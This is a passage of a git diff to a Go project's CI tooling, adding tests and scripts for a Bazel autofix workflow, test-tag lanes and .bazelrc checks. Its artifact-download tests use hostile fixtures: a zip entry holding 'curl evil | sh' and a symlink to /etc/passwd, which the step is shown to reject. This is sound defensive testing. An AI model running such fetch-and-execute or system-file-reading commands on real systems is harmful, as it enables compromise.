runAutofixCheck(t, copyPath, dir, writeRawPatch(t, body)) + if err == nil || !strings.Contains(out, "REFUSED") { + t.Errorf("--summary layer let it through (err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } + // The layer still passes a plain regular-file edit and creation. + plain := "diff --git a/" + target + " b/" + target + "\nnew file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n" + if out, err := runAutofixCheck(t, copyPath, dir, writeRawPatch(t, plain)); err != nil { + t.Errorf("plain creation refused: %v\n%s", err, out) + } + }) + } +} + +// The download step of each autofix workflow, run as written against a fake +// gh: it lists artifacts of the triggering run only (the event's run id, +// never a repo-wide listing another run could win), extracts only its named +// files, and refuses an entry that is not a regular file. +func TestAutofixWorkflowDownloadStep(t *testing.T) { + requireHostTool(t, "unzip") + requireHostTool(t, "jq") + for _, tc := range []struct { + workflow, step, artifact, dir string + files []string + }{ + {bazelAutofixWorkflowName, "Download BUILD sync patch (if any)", "bazel-sync-patch", "bazel-patch", []string{"bazel-sync-meta.txt", "bazel-sync.patch"}}, + {"docs-autofix.yml", "Download docs freshness patch (if any)", "cli-docs-freshness-patch", "docs-patch", []string{"cli-docs-freshness.patch"}}, + } { + t.Run(tc.workflow, func(t *testing.T) { + step := readCIWorkflow(t, tc.workflow).job(t, "autofix").step(t, tc.step) + if got := step.Env["RUN_ID"]; got != "${{ github.event.workflow_run.id }}" { + t.Errorf("RUN_ID = %q, want the triggering run's id", got) + } + if !strings.Contains(step.Run, `"repos/${GITHUB_REPOSITORY}/actions/runs/${RUN_ID}/artifacts`) { + t.Errorf("artifact listing is not scoped to the triggering run:\n%s", step.Run) + } + run := func(t *testing.T, entries map[string]string, symlinks map[string]string, listed string) (string, string, string, error) { + t.Helper() + tmp := t.TempDir() + zipPath := filepath.Join(tmp, "a.zip") + writeZip(t, zipPath, entries, symlinks) + bin := t.TempDir() + fake := `#!/usr/bin/env bash +set -euo pipefail +echo "gh $*" >> "$FAKE_GH_LOG" +jq_expr="" path="" +while [ $# -gt 0 ]; do + case "$1" in + api | --paginate) ;; + --jq) jq_expr="$2"; shift ;; + *) path="$1" ;; + esac + shift +done +case "$path" in + repos/owner/beads/actions/runs/42/artifacts | "repos/owner/beads/actions/runs/42/artifacts?"*) + printf '%s' "$FAKE_ARTIFACTS" | jq -r "$jq_expr" ;; + repos/owner/beads/actions/artifacts/5/zip) cat "$FAKE_ZIP" ;; + *) echo "gh: HTTP 404 for $path" >&2; exit 1 ;; +esac +` + if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(fake), 0o755); err != nil { + t.Fatal(err) + } + runner := filepath.Join(tmp, "runner") + workspace := filepath.Join(tmp, "workspace") + for _, d := range []string{runner, workspace} { + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + } + output := filepath.Join(tmp, "output") + log := filepath.Join(tmp, "gh.log") + cmd := exec.Command("bash", "-e", "-c", step.Run) + cmd.Dir = workspace + cmd.Env = append(os.Environ(), + "PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"), + "GITHUB_REPOSITORY=owner/beads", "RUNNER_TEMP="+runner, "GITHUB_OUTPUT="+output, + "RUN_ID=42", "GH_TOKEN=x", "FAKE_GH_LOG="+log, "FAKE_ZIP="+zipPath, + "FAKE_ARTIFACTS="+listed) + out, err := cmd.CombinedOutput() + if ws, _ := os.ReadDir(workspace); len(ws) != 0 { + t.Errorf("the step wrote into the workspace: %v", ws) + } + outputs, _ := os.ReadFile(output) + return string(out), string(outputs), filepath.Join(runner, tc.dir), err + } + listed := `{"artifacts":[{"id":6,"name":"other"},{"id":5,"name":"` + tc.artifact + `"}]}` + + t.Run("extracts only the named files", func(t *testing.T) { + entries := map[string]string{ + "evil.sh": "curl evil | sh\n", + ".github/workflows/x.yml": "on: push\n", + "scripts/docs-autofix.sh": "evil\n", + "sub/" + tc.files[0]: "nested\n", + "cli-docs-freshness.patch": "docs\n", + "bazel-sync.patch": "bazel\n", + "bazel-sync-meta.txt": "pr=7\n", + } + out, outputs, dir, err := run(t, entries, nil, listed) + if err != nil || !strings.Contains(outputs, "found=true") { + t.Fatalf("err=%v outputs=%q\n%s", err, outputs, out) + } + ents, _ := os.ReadDir(dir) + var got []string + for _, e := range ents { + got = append(got, e.Name()) + if !e.Type().IsRegular() { + t.Errorf("%s is not a regular file", e.Name()) + } + } + if strings.Join(got, ",") != strings.Join(tc.files, ",") { + t.Errorf("extracted %v, want exactly %v", got, tc.files) + } + }) + + for _, name := range tc.files { + t.Run("symlinked "+name+" is refused", func(t *testing.T) { + entries := map[string]string{} + for _, f := range tc.files { + if f != name { + entries[f] = "x\n" + } + } + out, outputs, _, err := run(t, entries, map[string]string{name: "/etc/passwd"}, listed) + if err == nil || strings.Contains(outputs, "found=true") || !strings.Contains(out, "is not a regular file") { + t.Errorf("err=%v outputs=%q\n%s", err, outputs, out) + } + }) + } + + t.Run("no artifact on the run", func(t *testing.T) { + out, outputs, _, err := run(t, map[string]string{tc.files[0]: "x\n"}, nil, `{"artifacts":[{"id":5,"name":"other"}]}`) + if err != nil || !strings.Contains(outputs, "found=false") { + t.Errorf("err=%v outputs=%q\n%s", err, outputs, out) + } + }) + }) + } +} + +// writeZip writes a zip with regular entries and Unix symlink entries +// (name -> target), as unzip restores them. +func writeZip(t *testing.T, path string, entries, symlinks map[string]string) { + t.Helper() + f, err := os.Create(path) + if err != nil { + t.Fatal(err) + } + zw := zip.NewWriter(f) + add := func(name, body string, mode os.FileMode) { + hdr := &zip.FileHeader{Name: name, Method: zip.Store} + hdr.SetMode(mode) + w, err := zw.CreateHeader(hdr) + if err != nil { + t.Fatal(err) + } + if _, err := w.Write([]byte(body)); err != nil { + t.Fatal(err) + } + } + for name, body := range entries { + add(name, body, 0o644) + } + for name, target := range symlinks { + add(name, target, os.ModeSymlink|0o777) + } + if err := zw.Close(); err != nil { + t.Fatal(err) + } + if err := f.Close(); err != nil { + t.Fatal(err) + } +} diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index a674583d5..5a37251c5 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -675,8 +675,69 @@ var allowedBazelTestTags = map[string]string{ "no-remote-exec": "must run on the Bazel client's host, never on a remote worker", "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", - "embedded": "embedded-Dolt tier variant; its own config", - "manual": "repro/bench harness; never part of //...", + // No no-remote-exec: the target starts its own dolt sql-server from the + // pinned dolt in its runfiles, so it runs on any worker, and a server that + // cannot start fails it rather than skipping, so its cached result holds. + "dolt-server": "starts hermetic dolt sql-servers (or completes the lane's job without -short); excluded from --config=prcore/ci, run by --config=doltserver", + // The same rules as dolt-server (hermetic servers, remote, fail-closed: + // checkDoltServerRules), for the tiers bazel.yml runs only with remote + // execution and, for the server storage tier, under the integration + // lane's build flags. + "dolt-server-proxied": "proxied-server cmd/bd tier: starts hermetic dolt sql-servers; excluded from --config=prcore/ci, run by --config=doltserver-proxied", + "dolt-server-integration": "server-Dolt storage tier: starts hermetic dolt sql-servers and needs the integration build tag; excluded from --config=prcore/ci, run by --config=doltserver-integration", + "embedded": "embedded-Dolt tier variant; excluded from --config=prcore/ci, run by --config=embedded", + "manual": "never part of //...: a repro/bench harness, or a build input only another target needs; excluded from --config=prcore/ci", + // For a go_test whose every test file is `//go:build integration`: in any + // other configuration rules_go drops those files and the target runs + // zero tests, which check_testcases.py rejects and equivalence.py can + // only note. gazelle keeps the hand-written tags attribute. + "integration-only": "holds tests only under the integration build tag; excluded from --config=prcore/ci, run by --config=integration", +} + +// bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core +// lane (--config=prcore/ci): each belongs to another lane or to none. Every +// taxonomy entry that says "excluded from --config=prcore/ci" is listed here +// and vice versa (TestBazelPRCoreExcludedTagsMatchTaxonomy), so a new lane +// tag lands here, and through bazelIntegrationExcludedTags in the +// integration lane's filter too. +var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-server-proxied", "dolt-server-integration", "embedded", "manual", "integration-only"} + +// bazelIntegrationRunsTags are the PR-core-excluded tags --config=integration +// runs: the integration lane is main.yml's integration jobs, whose +// BEADS_TEST_SKIP=dolt skips every container- or server-backed test, so every +// other lane's variant stays out of it. +var bazelIntegrationRunsTags = map[string]bool{"integration-only": true} + +// bazelIntegrationExcludedTags is bazelPRCoreExcludedTags less the tags the +// integration lane runs. +func bazelIntegrationExcludedTags() []string { + var tags []string + for _, tag := range bazelPRCoreExcludedTags { + if !bazelIntegrationRunsTags[tag] { + tags = append(tags, tag) + } + } + return tags +} + +func TestBazelPRCoreExcludedTagsMatchTaxonomy(t *testing.T) { + listed := map[string]bool{} + for _, tag := range bazelPRCoreExcludedTags { + listed[tag] = true + if _, ok := allowedBazelTestTags[tag]; !ok { + t.Errorf("bazelPRCoreExcludedTags: %q is not in allowedBazelTestTags", tag) + } + } + for tag, why := range allowedBazelTestTags { + if says := strings.Contains(why, "excluded from --config=prcore/ci"); says != listed[tag] { + t.Errorf("tag %q: taxonomy says excluded from prcore/ci = %v, bazelPRCoreExcludedTags = %v", tag, says, listed[tag]) + } + } + for tag := range bazelIntegrationRunsTags { + if !listed[tag] { + t.Errorf("bazelIntegrationRunsTags: %q is not in bazelPRCoreExcludedTags", tag) + } + } } // bazelTagsRequiring maps tags whose targets depend on the host to the tags @@ -807,13 +868,12 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { } } -// checkBazelrcPrcoreTagFilter requires --config=prcore to exclude the tags -// that never run in the PR-core lane. Every --test_tag_filters set by prcore or -// by a config that expands it (test:ci) is checked, since a later one would -// override the first. -func checkBazelrcPrcoreTagFilter(bazelrc string) error { - type option struct{ config, flag string } - var opts []option +// bazelrcOption is one flag set by a `command:config` line of .bazelrc; a +// flag and its separate value are joined as flag=value. +type bazelrcOption struct{ config, flag string } + +func parseBazelrcOptions(bazelrc string) []bazelrcOption { + var opts []bazelrcOption for _, line := range strings.Split(bazelrc, "\n") { fields := strings.Fields(line) if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { @@ -825,15 +885,21 @@ func checkBazelrcPrcoreTagFilter(bazelrc string) error { } for i := 1; i < len(fields); i++ { flag := fields[i] - if (flag == "--config" || flag == "--test_tag_filters") && i+1 < len(fields) { + if (flag == "--config" || flag == "--test_tag_filters" || flag == "--test_arg") && i+1 < len(fields) { i++ flag += "=" + fields[i] } - opts = append(opts, option{config, flag}) + opts = append(opts, bazelrcOption{config, flag}) } } + return opts +} - lane := map[string]bool{"prcore": true} +// bazelrcLaneOptions returns the options of config and of every config that +// expands it (test:ci --config=prcore), in file order: a later filter line in +// any of them overrides an earlier one. +func bazelrcLaneOptions(opts []bazelrcOption, config string) []bazelrcOption { + lane := map[string]bool{config: true} for grew := true; grew; { grew = false for _, o := range opts { @@ -843,25 +909,69 @@ func checkBazelrcPrcoreTagFilter(bazelrc string) error { } } } - - prcoreFilter := false + var out []bazelrcOption for _, o := range opts { - if !lane[o.config] || !strings.HasPrefix(o.flag, "--test_tag_filters=") { + if lane[o.config] { + out = append(out, o) + } + } + return out +} + +// checkBazelrcLaneTagFilter requires --config= to set +// --test_tag_filters and every --test_tag_filters set by it or by a config +// that expands it to exclude each of the tags: since the last one wins, each +// must. +func checkBazelrcLaneTagFilter(bazelrc, config string, exclude []string) error { + own := false + for _, o := range bazelrcLaneOptions(parseBazelrcOptions(bazelrc), config) { + if !strings.HasPrefix(o.flag, "--test_tag_filters=") { continue } - prcoreFilter = prcoreFilter || o.config == "prcore" + own = own || o.config == config filters := map[string]bool{} for _, f := range strings.Split(strings.TrimPrefix(o.flag, "--test_tag_filters="), ",") { filters[f] = true } - for _, tag := range []string{"requires-docker", "embedded", "manual"} { + for _, tag := range exclude { if !filters["-"+tag] { return errors.New(o.config + " --test_tag_filters does not exclude " + tag) } } } - if !prcoreFilter { - return errors.New(".bazelrc has no test:prcore --test_tag_filters line") + if !own { + return errors.New(".bazelrc has no test:" + config + " --test_tag_filters line") + } + return nil +} + +// checkBazelrcPrcoreTagFilter requires --config=prcore (and test:ci, which +// expands it) to exclude the tags that never run in the PR-core lane. +func checkBazelrcPrcoreTagFilter(bazelrc string) error { + return checkBazelrcLaneTagFilter(bazelrc, "prcore", bazelPRCoreExcludedTags) +} + +// checkBazelrcIntegrationLane requires --config=integration to exclude every +// other lane's tags and to pass the tests no -test.short, -test.skip or +// -test.run (nor --test_filter): main.yml's integration jobs run every test. +func checkBazelrcIntegrationLane(bazelrc string) error { + if err := checkBazelrcLaneTagFilter(bazelrc, "integration", bazelIntegrationExcludedTags()); err != nil { + return err + } + for _, o := range bazelrcLaneOptions(parseBazelrcOptions(bazelrc), "integration") { + arg, isArg := strings.CutPrefix(o.flag, "--test_arg=") + if strings.HasPrefix(o.flag, "--test_filter") { + return errors.New(o.config + " sets " + o.flag + "; the integration jobs select every test") + } + if !isArg { + continue + } + arg = strings.TrimLeft(arg, "-") + for _, bad := range []string{"test.short", "test.skip", "test.run"} { + if arg == bad || strings.HasPrefix(arg, bad+"=") { + return errors.New(o.config + " passes " + o.flag + "; the integration jobs run no -short/-skip/-run") + } + } } return nil } @@ -871,8 +981,9 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { t.Fatal(err) } for name, rc := range map[string]string{ - "missing": "test:ci --keep_going\n", - "no docker": "test:prcore --test_tag_filters=-embedded,-manual\n", + "missing": "test:ci --keep_going\n", + "no docker": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n", + "no dolt-server": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n", "ci override": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + "test:ci --config=prcore\ntest:ci --test_tag_filters=requires-docker\n", "second prcore line": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + @@ -885,3 +996,164 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { } } } + +// TestBazelrcPrcoreRequiresExcludePermission keeps test:prcore in step with +// pr.yml's PR Core step (TestPRCoreRequiresExcludeReadPermissionCoverage): +// without the variable, TestAddExcludePatternsRefusesReadErrors skips on a +// root executor instead of failing. +func TestBazelrcPrcoreRequiresExcludePermission(t *testing.T) { + const want = "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1" + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + if strings.TrimSpace(line) == want { + return + } + } + t.Fatalf(".bazelrc lacks %q", want) +} + +// TestBazelrcPrcoreMatchesPRCoreParallel keeps test:prcore's -test.parallel +// equal to pr-core.sh's -parallel default: without it Go uses GOMAXPROCS, the +// executor's core count, and runs far more tests at once than PR Core does. +func TestBazelrcPrcoreMatchesPRCoreParallel(t *testing.T) { + root := bazelPolicyRoot(t) + m := regexp.MustCompile(`(?m)^GO_TEST_PARALLEL="\$\{GO_TEST_PARALLEL:-(\d+)\}"$`).FindStringSubmatch(readPolicyFile(t, root, "scripts/ci/pr-core.sh")) + if m == nil { + t.Fatal("scripts/ci/pr-core.sh has no GO_TEST_PARALLEL default") + } + want := "test:prcore --test_arg=-test.parallel=" + m[1] + for _, line := range strings.Split(readPolicyFile(t, root, ".bazelrc"), "\n") { + if strings.TrimSpace(line) == want { + return + } + } + t.Fatalf(".bazelrc lacks %q (pr-core.sh runs go test -parallel %s)", want, m[1]) +} + +// Docker-lane results depend on host state no action key sees (daemon, dolt +// image, network), so they must always execute, like the container jobs' +// -count=1; and no remote-exec run may upload a locally executed result to +// the shared cache. +func TestBazelrcDockerLaneNeverCached(t *testing.T) { + lines := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + lines[strings.TrimSpace(line)] = true + } + for _, want := range []string{ + "test:docker --nocache_test_results", + "build:remote-exec --noremote_upload_local_results", + } { + if !lines[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } +} + +// --- integration lane ---------------------------------------------------------- + +// tagSet parses a comma-separated Go build tag list. +func tagSet(list string) map[string]bool { + set := map[string]bool{} + for _, tag := range strings.Split(list, ",") { + if tag = strings.TrimSpace(tag); tag != "" { + set[tag] = true + } + } + return set +} + +func sameTagSet(a, b map[string]bool) bool { + if len(a) != len(b) { + return false + } + for tag := range a { + if !b[tag] { + return false + } + } + return true +} + +// TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in +// step with main.yml's "Main Linux integration" jobs: the same build tags, +// race, BEADS_TEST_SKIP=dolt, and none of the variants those jobs do not run. +// It also requires gazelle to see the same tags (root BUILD.bazel +// `gazelle:build_tags`): gazelle drops a file whose build constraint names a +// tag it does not know, so without it no BUILD file would list the integration +// test files and the lane would silently run the plain package tests instead. +// With it, a file gaining `//go:build integration` lands in its package's srcs +// through `make bazel-sync`, whose staleness bazel.yml already fails on. +func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { + root := bazelPolicyRoot(t) + mainYML := readPolicyFile(t, root, ".github/workflows/main.yml") + jobTags := regexp.MustCompile(`-race -tags=(\S+) -timeout=30m`).FindAllStringSubmatch(mainYML, -1) + if len(jobTags) != 2 { + t.Fatalf("main.yml: want the two integration jobs' `go test -race -tags=... -timeout=30m`, found %d", len(jobTags)) + } + want := tagSet(jobTags[0][1]) + if !want["integration"] || !sameTagSet(want, tagSet(jobTags[1][1])) { + t.Fatalf("main.yml integration jobs' tags differ or lack integration: %q, %q", jobTags[0][1], jobTags[1][1]) + } + if strings.Count(mainYML, "env BEADS_TEST_SKIP=dolt gotestsum") < 2 { + t.Fatal("main.yml integration jobs no longer run with BEADS_TEST_SKIP=dolt; update test:integration") + } + + bazelrc := readPolicyFile(t, root, ".bazelrc") + lines := map[string]bool{} + var laneTags map[string]bool + for _, line := range strings.Split(bazelrc, "\n") { + line = strings.TrimSpace(line) + lines[line] = true + if v, ok := strings.CutPrefix(line, "build:integration --@rules_go//go/config:tags="); ok { + laneTags = tagSet(v) + } + } + if !sameTagSet(laneTags, want) { + t.Errorf(".bazelrc build:integration tags = %v, want main.yml's %v", laneTags, want) + } + if err := checkBazelrcIntegrationLane(bazelrc); err != nil { + t.Error(err) + } + for _, need := range []string{ + "test:integration --@rules_go//go/config:race", + "test:integration --test_env=BEADS_TEST_SKIP=dolt", + } { + if !lines[need] { + t.Errorf(".bazelrc lacks %q", need) + } + } + + m := regexp.MustCompile(`(?m)^# gazelle:build_tags (\S+)$`).FindStringSubmatch(readPolicyFile(t, root, "BUILD.bazel")) + if m == nil { + t.Fatal("BUILD.bazel has no `# gazelle:build_tags` directive") + } + gazelleTags := tagSet(m[1]) + for tag := range want { + if !gazelleTags[tag] { + t.Errorf("BUILD.bazel `gazelle:build_tags %s` lacks %q: gazelle would leave that lane's files out of every BUILD file", m[1], tag) + } + } +} + +func TestBazelrcIntegrationLaneFixtures(t *testing.T) { + exclude := bazelIntegrationExcludedTags() + good := "test:integration --test_tag_filters=-" + strings.Join(exclude, ",-") + "\n" + + "test:integration --test_arg=-test.parallel=4\ntest:integration --test_arg=-test.timeout=19m\n" + if err := checkBazelrcIntegrationLane(good); err != nil { + t.Errorf("good fixture rejected: %v", err) + } + for name, rc := range map[string]string{ + "missing": "test:integration --keep_going\n", + "one missing": "test:integration --test_tag_filters=-" + strings.Join(exclude[1:], ",-") + "\n", + "later override": good + "test:integration --test_tag_filters=-manual\n", + "expanding config": good + "test:nightly --config=integration\ntest:nightly --test_tag_filters=\n", + "short": good + "test:integration --test_arg=-test.short\n", + "short spaced": good + "test:integration --test_arg -test.short\n", + "skip": good + "test:integration --test_arg=-test.skip=TestX\n", + "run": good + "test:integration --test_arg=--test.run=TestX\n", + "test_filter": good + "test:integration --test_filter=TestX\n", + } { + if err := checkBazelrcIntegrationLane(rc); err == nil { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, rc) + } + } +} diff --git a/scripts/ci/bazel-sync-patch.sh b/scripts/ci/bazel-sync-patch.sh new file mode 100755 index 000000000..21ff0e873 --- /dev/null +++ b/scripts/ci/bazel-sync-patch.sh @@ -0,0 +1,73 @@ +#!/usr/bin/env bash +# bazel-sync-patch.sh - capture the drift `make bazel-sync` left in the +# checkout as an apply-ready patch for the bazel-autofix workflow. +# +# Usage: scripts/ci/bazel-sync-patch.sh +# +# Writes /bazel-sync.patch (`git diff --binary`, new files included) +# restricted to the paths the privileged consumer accepts, plus +# /bazel-sync-meta.txt (PR number and head SHA from PR_NUMBER and +# PR_HEAD_SHA when set). Drift outside the allowlist (third_party/patches, +# go.mod, ...) is listed but never patched: a human has to look at it. +# +# The allowlist mirrors path_allowed() in scripts/bazel-autofix-push.sh, which +# re-validates everything; that copy runs from the base branch and is the one +# that counts (scripts/ci_workflow_test.go keeps the two regexes identical). +# The working tree and the real index are left as they are. + +set -euo pipefail +export LC_ALL=C + +out="${1:?usage: bazel-sync-patch.sh }" +mkdir -p "$out" +patch="$out/bazel-sync.patch" +meta="$out/bazel-sync-meta.txt" + +BUILD_FILE_RE='^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$' + +path_allowed() { + case "$1" in + MODULE.bazel | MODULE.bazel.lock) return 0 ;; + third_party/*) return 1 ;; + esac + [[ "$1" =~ $BUILD_FILE_RE ]] +} + +# Stage everything in a throwaway index so new BUILD files (untracked) land +# in the diff without touching the checkout's own index. +index="$(mktemp)" +trap 'rm -f "$index"' EXIT +cp "$(git rev-parse --git-path index)" "$index" +GIT_INDEX_FILE="$index" git add -A -- . + +allowed=() +rejected=() +while IFS= read -r path; do + [ -n "$path" ] || continue + if path_allowed "$path"; then + allowed+=("$path") + else + rejected+=("$path") + fi +done < <(GIT_INDEX_FILE="$index" git -c core.quotePath=true diff --cached --no-renames --name-only) + +if [ "${#rejected[@]}" -gt 0 ]; then + echo "Drift outside the autofix allowlist (fix by hand, not patched):" + printf ' %s\n' "${rejected[@]}" +fi + +if [ "${#allowed[@]}" -eq 0 ]; then + echo "No auto-fixable BUILD/MODULE drift; no patch written." + rm -f "$patch" "$meta" + exit 0 +fi + +GIT_INDEX_FILE="$index" git diff --cached --binary --no-renames -- "${allowed[@]}" > "$patch" +{ + echo "pr=${PR_NUMBER:-}" + echo "head_sha=${PR_HEAD_SHA:-}" + echo "checkout_sha=$(git rev-parse HEAD)" +} > "$meta" + +echo "Wrote $patch (${#allowed[@]} file(s)):" +printf ' %s\n' "${allowed[@]}" diff --git a/scripts/ci/package-bazel-bd.sh b/scripts/ci/package-bazel-bd.sh new file mode 100755 index 000000000..63d9551d0 --- /dev/null +++ b/scripts/ci/package-bazel-bd.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Packages the Bazel-built bd in pr.yml's ci-build-artifacts layout +# (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt) for bazel.yml. +# +# The binary is //cmd/bd:bd_for_tests, the non-race gms_pure_go cgo bd that +# Bazel's own tests exec (//cmd/bd:bd is race built under --config=ci); run +# after `bazel test //... --config=ci`, whose test:ci downloads it. Unlike +# `go build`, it carries no vcs.* or CGO_ENABLED build settings, so +# `bd version` shows no commit and scripts/verify-cgo.sh would pass +# vacuously; no consumer of the artifact reads either. +# +# Usage: scripts/ci/package-bazel-bd.sh OUT_DIR +set -euo pipefail + +out="${1:?usage: $0 OUT_DIR}" +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +cd "$repo_root" +# For BEADS_BUILD_TAGS (the manifest's build_tags, as in pr.yml). +# shellcheck source=/dev/null +source ./.buildflags + +mapfile -t found < <(find -H bazel-out -path '*/bin/cmd/bd/bd_for_tests/bd' -type f) +if [ "${#found[@]}" -ne 1 ]; then + echo "::error::want exactly one //cmd/bd:bd_for_tests output, found ${#found[@]}: ${found[*]}" + exit 1 +fi + +mkdir -p "$out" +install -m 755 "${found[0]}" "$out/bd-linux-gms-pure" +cd "$out" +./bd-linux-gms-pure version +sha256sum bd-linux-gms-pure > SHA256SUMS +{ + echo "commit=$(git -C "$repo_root" rev-parse HEAD)" + echo "go_version=$(go version bd-linux-gms-pure | sed 's/^[^:]*: //')" + echo "build_tags=${BEADS_BUILD_TAGS}" + echo "artifact=bd-linux-gms-pure" + echo "builder=bazel //cmd/bd:bd_for_tests" +} > build-manifest.txt diff --git a/scripts/ci/pr-lint.sh b/scripts/ci/pr-lint.sh index 7e712ec24..5cde84e41 100755 --- a/scripts/ci/pr-lint.sh +++ b/scripts/ci/pr-lint.sh @@ -15,8 +15,10 @@ cd "$REPO_ROOT" ci_time "gofmt check" -- ./scripts/ci/fmt-check.sh -# The checkout-owned Go driver is the single authority for native and -# Windows/non-CGO lint arguments. Keep this wrapper as the supported direct -# Bash/Make entrypoint and aggregate timing boundary. -ci_time "golangci-lint (native + windows/non-CGO)" -- \ +# The checkout-owned Go driver is the single authority for the native and +# cross-target lint arguments. Files guarded by //go:build windows && !cgo or +# //go:build darwin are invisible to the Linux runner, so the driver cross-lints +# those non-CGO targets from the same runner. Keep this wrapper as the supported +# direct Bash/Make entrypoint and aggregate timing boundary. +ci_time "golangci-lint (native + windows/darwin non-CGO)" -- \ go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint diff --git a/scripts/ci/test-user-config-diagnostic.sh b/scripts/ci/test-user-config-diagnostic.sh new file mode 100755 index 000000000..4f7678afd --- /dev/null +++ b/scripts/ci/test-user-config-diagnostic.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# Exercise the native config source label, including both XDG states. +# Compatible with macOS Bash 3.2; run with linux, darwin, or windows. +set -euo pipefail + +[[ $# -eq 1 ]] || { echo 'Expected one native Go OS' >&2; exit 1; } +expected_os="$1" +case "$(uname -s)" in + Linux) actual_os=linux ;; + Darwin) actual_os=darwin ;; + MINGW*|MSYS*) actual_os=windows ;; + *) echo 'Unsupported native Bash host' >&2; exit 1 ;; +esac +[[ "$expected_os" = "$actual_os" ]] || { + echo "Expected $expected_os, running on $actual_os" >&2; exit 1; +} +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +cd "$repo_root" +# shellcheck source=../../.buildflags +source "$repo_root/.buildflags" +export CGO_ENABLED=0 +go_executable="$(type -P go)" +[[ "$go_executable" = /* && -x "$go_executable" ]] || { + echo 'Go must resolve to an absolute application' >&2; exit 1; +} +host_info="$("$go_executable" env GOHOSTOS GOOS)" +[[ "$host_info" = "$expected_os"$'\n'"$expected_os" ]] || { + echo "Expected native $expected_os Go host and target" >&2; exit 1; +} +parent=TestUserConfigYamlPathNamesNativeEnvironmentSource +expected=("$parent" "$parent/XDG_configured" "$parent/XDG_absent") +log="$(mktemp)" +trap 'rm -f "$log"' EXIT +status=0 +"$go_executable" test -tags "$BEADS_BUILD_TAGS" -v -count=1 -timeout 3m \ + -run "^$parent$" ./internal/config >"$log" 2>&1 || status=$? +cat "$log" +[[ $status -eq 0 ]] || exit "$status" +if grep -Eq -- '^[[:space:]]*--- (FAIL|SKIP):' "$log"; then + echo 'Native config diagnostic tests must pass without skips' >&2 + exit 1 +fi +for name in "${expected[@]}"; do + passes="$(grep -Ec -- "^[[:space:]]*--- PASS: $name( |$)" "$log" || true)" + [[ "$passes" = 1 ]] || { + echo "Expected exactly one PASS for $name, got $passes" >&2; exit 1; + } +done diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5d700bc22..8adbefb88 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2,13 +2,16 @@ package scripts_test import ( "encoding/base64" + "errors" "fmt" "os" "os/exec" "path/filepath" "reflect" "regexp" + "slices" "sort" + "strconv" "strings" "testing" @@ -120,6 +123,36 @@ func TestPRComplexityReportIsAdvisoryAndBestEffort(t *testing.T) { } } +func TestPRWorkflowExercisesNativeUserConfigDiagnostics(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + job := workflow.job(t, "pr-preflight-platforms") + // The benchmark-environment test owns the shared job and matrix shape. + wantHosts := map[string]string{"ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows"} + gotHosts := make(map[string][]string) + for _, tuple := range job.Strategy.Matrix.Include { + gotHosts[tuple.OS] = append(gotHosts[tuple.OS], tuple.ExpectedGOOS) + } + for host, want := range wantHosts { + if got := gotHosts[host]; len(got) != 1 || got[0] != want { + t.Fatalf("native host %s = %v, want exactly one %s", host, got, want) + } + } + step := job.step(t, "Check native user config diagnostics") + if step.If != "" || step.Shell != "bash" || step.Env["CGO_ENABLED"] != "0" || + (step.ContinueOnError != nil && step.ContinueOnError != false) { + t.Fatalf("native diagnostic step is conditional, optional, or uses the wrong host: %+v", step) + } + assertStepRunsExactly(t, job, step.Name, "bash scripts/ci/test-user-config-diagnostic.sh '${{ matrix.expected_goos }}'") + assertStepsBefore(t, job, []string{"Set up Go", "Restore Go module cache"}, []string{step.Name}) + gate := workflow.job(t, "ci-gate") + gateEnv := gate.step(t, "Evaluate CI gate").Env + if !contains(gate.Needs, "pr-preflight-platforms") || + gateEnv["PR_PREFLIGHT_PLATFORMS"] != "${{ needs.pr-preflight-platforms.result }}" || + !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "PR_PREFLIGHT_PLATFORMS") { + t.Fatal("native diagnostic platform results must feed the required aggregate gate") + } +} + func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") @@ -323,6 +356,14 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { }) } + // pr.yml's job 